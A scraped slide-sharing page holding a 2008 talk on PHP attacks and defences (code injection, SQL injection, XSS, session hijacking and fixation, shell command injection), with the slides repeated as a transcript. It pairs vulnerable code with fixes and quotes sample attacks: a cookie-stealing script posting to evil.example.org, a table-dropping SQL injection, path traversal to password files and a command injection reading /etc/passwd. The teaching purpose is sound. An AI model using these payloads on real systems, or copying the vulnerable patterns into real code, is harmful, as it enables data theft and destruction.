PHP Secure Programming

Balavignesh Kasinathan
Balavignesh KasinathanLead Analyst at CGI
1 
PHP Attacks and Defense 
K.Bala Vignesh 
kbalavignesh@gmail.com
2 
Most Secured computer in the 
WORLD 
No Need to secure the OS 
No Need to secure the S/W 
No need to do Anything 
It's Naturally Secured
3 
Even No Need to Switch ON
4 
Web ­Security 
? 
PHP ?
5 
Fact : 1 
PHP Mainly for 
Web Programs 
Fact : 2 
Easy To Learn
6 
PHP: 20,917,850 domains, 
1,224,183 IP addresses 
Fact : 3 
Fact : 4 
More Flexible Functions
7 
Few Named threats 
Code Injection 
SQL Injection 
Cross Site Script (XSS) 
Session Hijacking 
Session Fixation 
Temp Files abuse 
Remote Execution 
More and More unNamed threats...
8 
Code Injection
Code Injection 
9 
Dont directly pass the filenames 
$filename = $_REQUEST['message']; 
$message = file_get_contents($filename); 
print $message; 
This is ok: 
http://example.com/myscript.php?message=hello.txt 
But what if I do like this?: 
http://example.com/myscript.php?message=passwords.txt
Code Injection 
10 
This is especially important for includes, require 
and require_once 
$module = $_REQUEST['module']; 
include(“lib/$module”); 
This is ok: 
http://example.com/cms?module=login.php 
But what if I do like this?: 
http://example.com/cms?module=../passwords.ini
Defense Code Injection 
11 
Make sure the value is one 
you expected, if not...ERROR! 
$requestedModule = $_REQUEST['module']; 
switch($requestedModule) 
{ 
case “login”: 
$module = “login”; break; 
case “logout”: 
$module = “logout”; break; 
default: 
$module = “error”; 
}
12 
SQL Injection
13 
Form to user search .... 
$username=$_POST['username']; 
$query= "SELECT * FROM users WHERE name = ' “ .$username." ' ;" 
If i give , 
$username ­­­a' 
or 't'='t 
Query will be , 
"SELECT * FROM users WHERE name = ' a' or 't'='t ';" 
SQL Injection
14 
If i give , 
$username ­­­a'; 
DROP TABLE users; SELECT * FROM data WHERE name 
LIKE '% 
Query will be , 
SELECT * FROM users WHERE name = ' a';DROP TABLE users; SELECT * 
FROM data WHERE name LIKE '% '; 
SQL Injection
15 
Use single quotation 
eg: "select * from users where user= '.$username.'" 
Check types of user submitted values 
is_bool(), is_float(), is_numeric(), is_string(), is_int() , 
intval() , settype() ,strlen() 
eg: strpos($query , ';') 
Escape every questionable character in your query 
' " , ; ( ) and keywords "FROM", "LIKE", and "WHERE" 
mysql_real_escape_string 
SQL Injection 
Defense
16 
magic_quotes_gpc (default – on ) (deprecation – php 6.0) 
If Off use 
addslashes 
If On , If you don't need 
stripslashes 
if (get_magic_quotes_gpc()){ 
$_GET = array_map('stripslashes', $_GET); 
$_POST = array_map('stripslashes', $_POST); 
$_COOKIE = array_map('stripslashes', $_COOKIE); 
} 
SQL Injection 
Defense
17 
Mysql Improved Extension 
$query=mysqli_prepare($connection_string, "select * from user where user= ?"); 
mysqli_stmt_bind_param($query,"s",$username); 
mysqli_stmt_execute($query); 
s­string 
i­integer 
d­double 
b­binary 
PEAR ­DB, 
DataObject 
SQL Injection 
Defense
18 
XSS – Cross Site Scripting
19 
1.) Inserting scripts 
<script> 
document.location = 
'http://evil.example.org/steal_cookies.php?cookies=' + 
document.cookie 
</script> 
2.) Login 
3.) Set Cookies 
4.) Executes the scripts 
XSS 
5.) Steals the cookies
20 
Remote control of the client browser 
Reveal the value of a cookie 
Change links on the page 
Redirect to another URI 
Render a bogus form 
or 
Any undesirable action ... 
XSS
Defense 
XSS Encode HTML Entities in All Non­HTML 
Output 
21 
htmlentities() 
Eg: 
$str = "A 'quote' is <b>bold</b>"; 
echo htmlentities($str); 
Outputs Will be ­> 
A 'quote' is &lt;b&gt;bold&lt;/b&gt; 
Check the image upload URI (avatar, icon) 
parse_url 
Eg: 
<img src=”http://shopping.example.com/addCart.php?item=123”/> 
Show the domain name for User submitted Links 
eg. 
Not safe ­­> 
Hey click this to see my photo <a href=”http://badguys.net”>Bala</a> 
safe ­­> 
Hey click this to see my photo [badguys.net] Bala
22 
Session Hijacking
23 
What is Session ID ?
24 
Victim 
Attacker 
Web Server 
Session ID= AD238723FD32 
Session Hijacking
25 
Victim 
Attacker 
Web Server 
Session ID= AD238723FD32 
Session ID= 
AD238723FD32 
Session Hijacking
Session Hijacking 
26 
Network Eavesdropping ­Promiscuous 
Mode 
If Intranet ? 
Use Switch rather than a Hub 
If wi­fi 
? 
WEP ­Weired 
Equivalent Privacy 
If Internet ? 
SSL
27 
Session Hijacking 
Unwitting Exposure 
Sending links 
See this item ­­­­http:// 
store.com/items.php?item=0987 
it's O.K , if i send like this, 
http://store.com/items.php?item=0987&phpsessid=34223 
How to Avoid ? 
session.use_trans_sid (turned off by default) 
session.use_only_cookies (Defaults to 1 (enabled) since PHP 6.0.)
28 
2.) If he clicks, http://unsafesite?SID=3423 3. Shows login page 
Victim 
Session Fixation 
Attacker 
Web Server 
1.) See this link 
http://unsafesite?SID=3423 
Set SessionID =3423 
session_id($_GET['SID']) 
4.) Now Full Access 
http://unsafesite?SID=3423
29 
Session Hijacking Defense 
Use SSL. 
Use Cookies Instead of $_GET Variables. 
(ini_set ('session.use_only_cookies',TRUE); 
ini_set ('session.use_trans_sid',FALSE); 
Use Session Timeouts 
ini_set('session.cookie_lifetime',1200) 
ini_set('session.gc_maxlifetime) 
Regenerate IDs for Users with Changed Status 
session_regenerate_id
30 
Remote Execution
Remote Execution 
31 
Injection of Shell commands 
<?php 
$filename=$_GET['filename']; 
$command='/usr/bin/wc $filename”; 
$words=shell_exec ($command); 
print “$filename contains $words words.”; 
?> 
This is ok ... 
wordcount.php?filename=textfile.txt 
But, What if i give like this ... 
wordcount.php?filename=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd 
(filename ­­> 
/dev/null | cat /etc/passwd ) 
/usr/bin/wc /dev/null |cat /etc/passwd
Remote Execution 
32 
Defense 
Allow only Trusted , Human Users to Import Code 
Store uploads outside of Web Document Root 
Limit allowable filename extensions for upload 
Use disable_functions directive 
eg: 
disable_functions= “eval,phpinfo” 
Do not include PHP scripts from Remote Servers 
eg: 
<?php 
include ('http://example.net/code/common.php') 
?> 
Properly escape all shell commands 
escapeshellarg() , escapeshellcmd()
33 
Future? ­PHP 
6.0 
Deprecation 
Register Globals 
Big security hole 
Safe Mode 
False sense of security 
Magic Quotes 
Messed with the data 
Upcoming changes and features 
http://www.php.net/~derick/meeting­notes. 
html 
http://www.phphacks.com/content/view/49/33/ 
Rasmus Lerdorf – PHP 6.0 Wish List 
http://news.php.net/php.internals/17883
34 
What to do? 
Proper Input Validation 
Dont do Programming + Security 
Do secure Programming 
htmlentities, mysql_real_escape_string, 
parse_url , addslashes ,escapeshellarg, 
escapeshellcmd... etc 
SSL 
Use PEAR , PECL
Images From Flickr.com 
35 
reference­http:// 
flickr.com/photos/opinicus/246099418/ 
remote_boy ­http:// 
flickr.com/photo_zoom.gne?id=331355695&size=l 
level_cross ­http:// 
flickr.com/photo_zoom.gne?id=67342604&size=o 
injection3­http:// 
flickr.com/photos/fleurdelisa/249435636/ 
building game1­http:// 
flickr.com/photo_zoom.gne?id=346575350&size=o 
computer_baby1­http:// 
flickr.com/photo_zoom.gne?id=102207751&size=o 
country_border1 ­http:// 
flickr.com/photo_zoom.gne?id=48740674&size=l 
computer_baby ­http:// 
flickr.com/photo_zoom.gne?id=436594815&size=m 
hijack ­http:// 
flickr.com/photo_zoom.gne?id=463129891&size=l 
dog_security ­http:// 
flickr.com/photo_zoom.gne?id=2205272682&size=l 
Id card ­http:// 
flickr.com/photo_zoom.gne?id=1269802640&size=o
36 
Reference 
Pro PHP Security 
Chris Snyder , Michael Southwell 
http://wikipedia.org/ 
http://www.sitepoint.com/article/php­security­blunders 
http://phpsec.org/ 
WWW.google.com
37
38
Copyright (c) 2008 
Permission is granted to copy, distribute and/or modify this document 
under the terms of the GNU Free Documentation License, Version 1.2 
or any later version published by the Free Software Foundation. 
http://www.gnu.org/copyleft/fdl.html
1 of 39

Recommended

PHP Security by
PHP SecurityPHP Security
PHP Securitymanugoel2003
9.3K views38 slides
2013 05-03 - HTML5 & JavaScript Security by
2013 05-03 -  HTML5 & JavaScript Security2013 05-03 -  HTML5 & JavaScript Security
2013 05-03 - HTML5 & JavaScript SecurityJohannes Hoppe
1.2K views43 slides
Php Security by
Php SecurityPhp Security
Php Securityguest7cf35c
2.8K views46 slides
PHP Security by
PHP SecurityPHP Security
PHP SecurityMindfire Solutions
2.3K views22 slides
Rails and security by
Rails and securityRails and security
Rails and securityAndrey Tokarchuk
1.3K views41 slides
PHP security audits by
PHP security auditsPHP security audits
PHP security auditsDamien Seguy
5.3K views49 slides

More Related Content

What's hot

End to end web security by
End to end web securityEnd to end web security
End to end web securityGeorge Boobyer
1.1K views68 slides
Learning Dtrace by
Learning DtraceLearning Dtrace
Learning DtraceJeongHun Byeon
2K views71 slides
Practical django secuirty by
Practical django secuirtyPractical django secuirty
Practical django secuirtyAndy Dai
613 views41 slides
Beyond PHP - it's not (just) about the code by
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeWim Godden
8.5K views57 slides
Django Web Application Security by
Django Web Application SecurityDjango Web Application Security
Django Web Application Securitylevigross
6.7K views24 slides
My app is secure... I think by
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
912 views90 slides

What's hot(19)

Practical django secuirty by Andy Dai
Practical django secuirtyPractical django secuirty
Practical django secuirty
Andy Dai613 views
Beyond PHP - it's not (just) about the code by Wim Godden
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
Wim Godden8.5K views
Django Web Application Security by levigross
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
levigross6.7K views
My app is secure... I think by Wim Godden
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden912 views
My app is secure... I think by Wim Godden
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden1.8K views
SQL Injection in PHP by Dave Ross
SQL Injection in PHPSQL Injection in PHP
SQL Injection in PHP
Dave Ross5.2K views
OWASP Top 10 at International PHP Conference 2014 in Berlin by Tobias Zander
OWASP Top 10 at International PHP Conference 2014 in BerlinOWASP Top 10 at International PHP Conference 2014 in Berlin
OWASP Top 10 at International PHP Conference 2014 in Berlin
Tobias Zander2K views
Two scoops of Django - Security Best Practices by Spin Lai
Two scoops of Django - Security Best PracticesTwo scoops of Django - Security Best Practices
Two scoops of Django - Security Best Practices
Spin Lai5.9K views
My app is secure... I think by Wim Godden
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
Wim Godden122 views
OWASP TOP 10 for PHP Programmers by rjsmelo
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers
rjsmelo11.7K views
When dynamic becomes static: the next step in web caching techniques by Wim Godden
When dynamic becomes static: the next step in web caching techniquesWhen dynamic becomes static: the next step in web caching techniques
When dynamic becomes static: the next step in web caching techniques
Wim Godden4.6K views
Eight simple rules to writing secure PHP programs by Aleksandr Yampolskiy
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programs
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков... by GeeksLab Odessa
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
GeeksLab Odessa453 views
Polyglot payloads in practice by avlidienbrunn at HackPra by Mathias Karlsson
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
Mathias Karlsson14.5K views
Code obfuscation, php shells & more by Mattias Geniar
Code obfuscation, php shells & moreCode obfuscation, php shells & more
Code obfuscation, php shells & more
Mattias Geniar11.2K views
Concern of Web Application Security by Mahmud Ahsan
Concern of Web Application SecurityConcern of Web Application Security
Concern of Web Application Security
Mahmud Ahsan6.3K views

Viewers also liked

Web Application Security with PHP by
Web Application Security with PHPWeb Application Security with PHP
Web Application Security with PHPjikbal
51.6K views61 slides
Secure shell protocol by
Secure shell protocolSecure shell protocol
Secure shell protocolBaspally Sai Anirudh
1.6K views29 slides
Web Application Security: Introduction to common classes of security flaws an... by
Web Application Security: Introduction to common classes of security flaws an...Web Application Security: Introduction to common classes of security flaws an...
Web Application Security: Introduction to common classes of security flaws an...Thoughtworks
4.2K views55 slides
How to Setup A Pen test Lab and How to Play CTF by
How to Setup A Pen test Lab and How to Play CTF How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF n|u - The Open Security Community
24.2K views22 slides
Practical Example of grep command in unix by
Practical Example of grep command in unixPractical Example of grep command in unix
Practical Example of grep command in unixJavin Paul
9.3K views16 slides
class12_Networking2 by
class12_Networking2class12_Networking2
class12_Networking2T. J. Saotome
367 views24 slides

Viewers also liked(20)

Web Application Security with PHP by jikbal
Web Application Security with PHPWeb Application Security with PHP
Web Application Security with PHP
jikbal51.6K views
Web Application Security: Introduction to common classes of security flaws an... by Thoughtworks
Web Application Security: Introduction to common classes of security flaws an...Web Application Security: Introduction to common classes of security flaws an...
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks4.2K views
Practical Example of grep command in unix by Javin Paul
Practical Example of grep command in unixPractical Example of grep command in unix
Practical Example of grep command in unix
Javin Paul9.3K views
Unix command-line tools by Eric Wilson
Unix command-line toolsUnix command-line tools
Unix command-line tools
Eric Wilson45K views
Defeating The Network Security Infrastructure V1.0 by Philippe Bogaerts
Defeating The Network Security Infrastructure  V1.0Defeating The Network Security Infrastructure  V1.0
Defeating The Network Security Infrastructure V1.0
Philippe Bogaerts420.1K views
Unix Command Line Productivity Tips by Keith Bennett
Unix Command Line Productivity TipsUnix Command Line Productivity Tips
Unix Command Line Productivity Tips
Keith Bennett7.3K views
Practical unix utilities for text processing by Anton Arhipov
Practical unix utilities for text processingPractical unix utilities for text processing
Practical unix utilities for text processing
Anton Arhipov3.2K views
Secure Shell(ssh) by Pina Parmar
Secure Shell(ssh)Secure Shell(ssh)
Secure Shell(ssh)
Pina Parmar3.5K views
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP by Michael Coates
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAPVirtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Michael Coates278K views
Top 100 Linux Interview Questions and Answers 2014 by iimjobs and hirist
Top 100 Linux Interview Questions and Answers 2014Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014
iimjobs and hirist110.1K views
RHCE FINAL Questions and Answers by Radien software
RHCE FINAL Questions and AnswersRHCE FINAL Questions and Answers
RHCE FINAL Questions and Answers
Radien software 35.3K views
Introduction to SSH by Hemant Shah
Introduction to SSHIntroduction to SSH
Introduction to SSH
Hemant Shah27.2K views

Similar to PHP Secure Programming

PHPUG Presentation by
PHPUG PresentationPHPUG Presentation
PHPUG PresentationDamon Cortesi
816 views27 slides
General Principles of Web Security by
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
2.7K views46 slides
Web Security 101 by
Web Security 101Web Security 101
Web Security 101Michael Peters
4.5K views47 slides
Php & Web Security - PHPXperts 2009 by
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009mirahman
5.2K views30 slides
Securing Java EE Web Apps by
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web AppsFrank Kim
4.8K views40 slides
Top 10 Web Security Vulnerabilities by
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesCarol McDonald
7.7K views74 slides

Similar to PHP Secure Programming(20)

General Principles of Web Security by jemond
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
jemond2.7K views
Php & Web Security - PHPXperts 2009 by mirahman
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman5.2K views
Securing Java EE Web Apps by Frank Kim
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim4.8K views
Top 10 Web Security Vulnerabilities by Carol McDonald
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
Carol McDonald7.7K views
Joomla security nuggets by guestbd1cdca
Joomla security nuggetsJoomla security nuggets
Joomla security nuggets
guestbd1cdca3.6K views
12-security.ppt - PHP and Arabic Language - Index by webhostingguy
12-security.ppt - PHP and Arabic Language - Index12-security.ppt - PHP and Arabic Language - Index
12-security.ppt - PHP and Arabic Language - Index
webhostingguy4.7K views
2009 Barcamp Nashville Web Security 101 by brian_dailey
2009 Barcamp Nashville   Web Security 1012009 Barcamp Nashville   Web Security 101
2009 Barcamp Nashville Web Security 101
brian_dailey2.5K views
Php vulnerability presentation by Sqa Enthusiast
Php vulnerability presentationPhp vulnerability presentation
Php vulnerability presentation
Sqa Enthusiast6.1K views
Evolution Of Web Security by Chris Shiflett
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
Chris Shiflett12.9K views
Php Security By Mugdha And Anish by OSSCube
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
OSSCube1.6K views
Defending Against Attacks With Rails by Tony Amoyal
Defending Against Attacks With RailsDefending Against Attacks With Rails
Defending Against Attacks With Rails
Tony Amoyal2.1K views
The top 10 security issues in web applications by Devnology
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology13.4K views
PCI Security Requirements - secure coding by Haitham Raik
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik1.3K views

More from Balavignesh Kasinathan

John muir by
John muirJohn muir
John muirBalavignesh Kasinathan
127 views5 slides
Backbone 4.0 by
Backbone 4.0Backbone 4.0
Backbone 4.0Balavignesh Kasinathan
56 views29 slides
Introduction to Scrum by
Introduction to ScrumIntroduction to Scrum
Introduction to ScrumBalavignesh Kasinathan
270 views18 slides
Introduction to Opensource by
Introduction to Opensource Introduction to Opensource
Introduction to Opensource Balavignesh Kasinathan
243 views33 slides
Version Management with CVS by
Version Management with CVSVersion Management with CVS
Version Management with CVSBalavignesh Kasinathan
492 views20 slides
Trainer GUI for Tesseract by
Trainer GUI for TesseractTrainer GUI for Tesseract
Trainer GUI for TesseractBalavignesh Kasinathan
343 views14 slides

Recently uploaded

MariaDB stored procedures and why they should be improved by
MariaDB stored procedures and why they should be improvedMariaDB stored procedures and why they should be improved
MariaDB stored procedures and why they should be improvedFederico Razzoli
8 views32 slides
Citi TechTalk Session 2: Kafka Deep Dive by
Citi TechTalk Session 2: Kafka Deep DiveCiti TechTalk Session 2: Kafka Deep Dive
Citi TechTalk Session 2: Kafka Deep Diveconfluent
17 views60 slides
WebAssembly by
WebAssemblyWebAssembly
WebAssemblyJens Siebert
32 views18 slides
DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan... by
DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan...DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan...
DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan...Deltares
10 views30 slides
HarshithAkkapelli_Presentation.pdf by
HarshithAkkapelli_Presentation.pdfHarshithAkkapelli_Presentation.pdf
HarshithAkkapelli_Presentation.pdfharshithakkapelli
11 views16 slides
Software testing company in India.pptx by
Software testing company in India.pptxSoftware testing company in India.pptx
Software testing company in India.pptxSakshiPatel82
7 views9 slides

Recently uploaded(20)

MariaDB stored procedures and why they should be improved by Federico Razzoli
MariaDB stored procedures and why they should be improvedMariaDB stored procedures and why they should be improved
MariaDB stored procedures and why they should be improved
Citi TechTalk Session 2: Kafka Deep Dive by confluent
Citi TechTalk Session 2: Kafka Deep DiveCiti TechTalk Session 2: Kafka Deep Dive
Citi TechTalk Session 2: Kafka Deep Dive
confluent17 views
DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan... by Deltares
DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan...DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan...
DSD-INT 2023 Baseline studies for Strategic Coastal protection for Long Islan...
Deltares10 views
Software testing company in India.pptx by SakshiPatel82
Software testing company in India.pptxSoftware testing company in India.pptx
Software testing company in India.pptx
SakshiPatel827 views
DSD-INT 2023 Simulation of Coastal Hydrodynamics and Water Quality in Hong Ko... by Deltares
DSD-INT 2023 Simulation of Coastal Hydrodynamics and Water Quality in Hong Ko...DSD-INT 2023 Simulation of Coastal Hydrodynamics and Water Quality in Hong Ko...
DSD-INT 2023 Simulation of Coastal Hydrodynamics and Water Quality in Hong Ko...
Deltares10 views
Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI... by Marc Müller
Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI...Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI...
Dev-Cloud Conference 2023 - Continuous Deployment Showdown: Traditionelles CI...
Marc Müller31 views
A first look at MariaDB 11.x features and ideas on how to use them by Federico Razzoli
A first look at MariaDB 11.x features and ideas on how to use themA first look at MariaDB 11.x features and ideas on how to use them
A first look at MariaDB 11.x features and ideas on how to use them
Federico Razzoli44 views
What Can Employee Monitoring Software Do?​ by wAnywhere
What Can Employee Monitoring Software Do?​What Can Employee Monitoring Software Do?​
What Can Employee Monitoring Software Do?​
wAnywhere18 views
Les nouveautés produit Neo4j by Neo4j
 Les nouveautés produit Neo4j Les nouveautés produit Neo4j
Les nouveautés produit Neo4j
Neo4j27 views
DSD-INT 2023 SFINCS Modelling in the U.S. Pacific Northwest - Parker by Deltares
DSD-INT 2023 SFINCS Modelling in the U.S. Pacific Northwest - ParkerDSD-INT 2023 SFINCS Modelling in the U.S. Pacific Northwest - Parker
DSD-INT 2023 SFINCS Modelling in the U.S. Pacific Northwest - Parker
Deltares8 views
DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -... by Deltares
DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -...DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -...
DSD-INT 2023 Simulating a falling apron in Delft3D 4 - Engineering Practice -...
Deltares6 views
Roadmap y Novedades de producto by Neo4j
Roadmap y Novedades de productoRoadmap y Novedades de producto
Roadmap y Novedades de producto
Neo4j43 views
Tridens DevOps by Tridens
Tridens DevOpsTridens DevOps
Tridens DevOps
Tridens9 views
Software evolution understanding: Automatic extraction of software identifier... by Ra'Fat Al-Msie'deen
Software evolution understanding: Automatic extraction of software identifier...Software evolution understanding: Automatic extraction of software identifier...
Software evolution understanding: Automatic extraction of software identifier...

PHP Secure Programming

  • 1. 1 PHP Attacks and Defense K.Bala Vignesh kbalavignesh@gmail.com
  • 2. 2 Most Secured computer in the WORLD No Need to secure the OS No Need to secure the S/W No need to do Anything It's Naturally Secured
  • 3. 3 Even No Need to Switch ON
  • 5. 5 Fact : 1 PHP Mainly for Web Programs Fact : 2 Easy To Learn
  • 6. 6 PHP: 20,917,850 domains, 1,224,183 IP addresses Fact : 3 Fact : 4 More Flexible Functions
  • 7. 7 Few Named threats Code Injection SQL Injection Cross Site Script (XSS) Session Hijacking Session Fixation Temp Files abuse Remote Execution More and More unNamed threats...
  • 9. Code Injection 9 Dont directly pass the filenames $filename = $_REQUEST['message']; $message = file_get_contents($filename); print $message; This is ok: http://example.com/myscript.php?message=hello.txt But what if I do like this?: http://example.com/myscript.php?message=passwords.txt
  • 10. Code Injection 10 This is especially important for includes, require and require_once $module = $_REQUEST['module']; include(“lib/$module”); This is ok: http://example.com/cms?module=login.php But what if I do like this?: http://example.com/cms?module=../passwords.ini
  • 11. Defense Code Injection 11 Make sure the value is one you expected, if not...ERROR! $requestedModule = $_REQUEST['module']; switch($requestedModule) { case “login”: $module = “login”; break; case “logout”: $module = “logout”; break; default: $module = “error”; }
  • 13. 13 Form to user search .... $username=$_POST['username']; $query= "SELECT * FROM users WHERE name = ' “ .$username." ' ;" If i give , $username ­­­a' or 't'='t Query will be , "SELECT * FROM users WHERE name = ' a' or 't'='t ';" SQL Injection
  • 14. 14 If i give , $username ­­­a'; DROP TABLE users; SELECT * FROM data WHERE name LIKE '% Query will be , SELECT * FROM users WHERE name = ' a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% '; SQL Injection
  • 15. 15 Use single quotation eg: "select * from users where user= '.$username.'" Check types of user submitted values is_bool(), is_float(), is_numeric(), is_string(), is_int() , intval() , settype() ,strlen() eg: strpos($query , ';') Escape every questionable character in your query ' " , ; ( ) and keywords "FROM", "LIKE", and "WHERE" mysql_real_escape_string SQL Injection Defense
  • 16. 16 magic_quotes_gpc (default – on ) (deprecation – php 6.0) If Off use addslashes If On , If you don't need stripslashes if (get_magic_quotes_gpc()){ $_GET = array_map('stripslashes', $_GET); $_POST = array_map('stripslashes', $_POST); $_COOKIE = array_map('stripslashes', $_COOKIE); } SQL Injection Defense
  • 17. 17 Mysql Improved Extension $query=mysqli_prepare($connection_string, "select * from user where user= ?"); mysqli_stmt_bind_param($query,"s",$username); mysqli_stmt_execute($query); s­string i­integer d­double b­binary PEAR ­DB, DataObject SQL Injection Defense
  • 18. 18 XSS – Cross Site Scripting
  • 19. 19 1.) Inserting scripts <script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie </script> 2.) Login 3.) Set Cookies 4.) Executes the scripts XSS 5.) Steals the cookies
  • 20. 20 Remote control of the client browser Reveal the value of a cookie Change links on the page Redirect to another URI Render a bogus form or Any undesirable action ... XSS
  • 21. Defense XSS Encode HTML Entities in All Non­HTML Output 21 htmlentities() Eg: $str = "A 'quote' is <b>bold</b>"; echo htmlentities($str); Outputs Will be ­> A 'quote' is &lt;b&gt;bold&lt;/b&gt; Check the image upload URI (avatar, icon) parse_url Eg: <img src=”http://shopping.example.com/addCart.php?item=123”/> Show the domain name for User submitted Links eg. Not safe ­­> Hey click this to see my photo <a href=”http://badguys.net”>Bala</a> safe ­­> Hey click this to see my photo [badguys.net] Bala
  • 23. 23 What is Session ID ?
  • 24. 24 Victim Attacker Web Server Session ID= AD238723FD32 Session Hijacking
  • 25. 25 Victim Attacker Web Server Session ID= AD238723FD32 Session ID= AD238723FD32 Session Hijacking
  • 26. Session Hijacking 26 Network Eavesdropping ­Promiscuous Mode If Intranet ? Use Switch rather than a Hub If wi­fi ? WEP ­Weired Equivalent Privacy If Internet ? SSL
  • 27. 27 Session Hijacking Unwitting Exposure Sending links See this item ­­­­http:// store.com/items.php?item=0987 it's O.K , if i send like this, http://store.com/items.php?item=0987&phpsessid=34223 How to Avoid ? session.use_trans_sid (turned off by default) session.use_only_cookies (Defaults to 1 (enabled) since PHP 6.0.)
  • 28. 28 2.) If he clicks, http://unsafesite?SID=3423 3. Shows login page Victim Session Fixation Attacker Web Server 1.) See this link http://unsafesite?SID=3423 Set SessionID =3423 session_id($_GET['SID']) 4.) Now Full Access http://unsafesite?SID=3423
  • 29. 29 Session Hijacking Defense Use SSL. Use Cookies Instead of $_GET Variables. (ini_set ('session.use_only_cookies',TRUE); ini_set ('session.use_trans_sid',FALSE); Use Session Timeouts ini_set('session.cookie_lifetime',1200) ini_set('session.gc_maxlifetime) Regenerate IDs for Users with Changed Status session_regenerate_id
  • 31. Remote Execution 31 Injection of Shell commands <?php $filename=$_GET['filename']; $command='/usr/bin/wc $filename”; $words=shell_exec ($command); print “$filename contains $words words.”; ?> This is ok ... wordcount.php?filename=textfile.txt But, What if i give like this ... wordcount.php?filename=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd (filename ­­> /dev/null | cat /etc/passwd ) /usr/bin/wc /dev/null |cat /etc/passwd
  • 32. Remote Execution 32 Defense Allow only Trusted , Human Users to Import Code Store uploads outside of Web Document Root Limit allowable filename extensions for upload Use disable_functions directive eg: disable_functions= “eval,phpinfo” Do not include PHP scripts from Remote Servers eg: <?php include ('http://example.net/code/common.php') ?> Properly escape all shell commands escapeshellarg() , escapeshellcmd()
  • 33. 33 Future? ­PHP 6.0 Deprecation Register Globals Big security hole Safe Mode False sense of security Magic Quotes Messed with the data Upcoming changes and features http://www.php.net/~derick/meeting­notes. html http://www.phphacks.com/content/view/49/33/ Rasmus Lerdorf – PHP 6.0 Wish List http://news.php.net/php.internals/17883
  • 34. 34 What to do? Proper Input Validation Dont do Programming + Security Do secure Programming htmlentities, mysql_real_escape_string, parse_url , addslashes ,escapeshellarg, escapeshellcmd... etc SSL Use PEAR , PECL
  • 35. Images From Flickr.com 35 reference­http:// flickr.com/photos/opinicus/246099418/ remote_boy ­http:// flickr.com/photo_zoom.gne?id=331355695&size=l level_cross ­http:// flickr.com/photo_zoom.gne?id=67342604&size=o injection3­http:// flickr.com/photos/fleurdelisa/249435636/ building game1­http:// flickr.com/photo_zoom.gne?id=346575350&size=o computer_baby1­http:// flickr.com/photo_zoom.gne?id=102207751&size=o country_border1 ­http:// flickr.com/photo_zoom.gne?id=48740674&size=l computer_baby ­http:// flickr.com/photo_zoom.gne?id=436594815&size=m hijack ­http:// flickr.com/photo_zoom.gne?id=463129891&size=l dog_security ­http:// flickr.com/photo_zoom.gne?id=2205272682&size=l Id card ­http:// flickr.com/photo_zoom.gne?id=1269802640&size=o
  • 36. 36 Reference Pro PHP Security Chris Snyder , Michael Southwell http://wikipedia.org/ http://www.sitepoint.com/article/php­security­blunders http://phpsec.org/ WWW.google.com
  • 37. 37
  • 38. 38
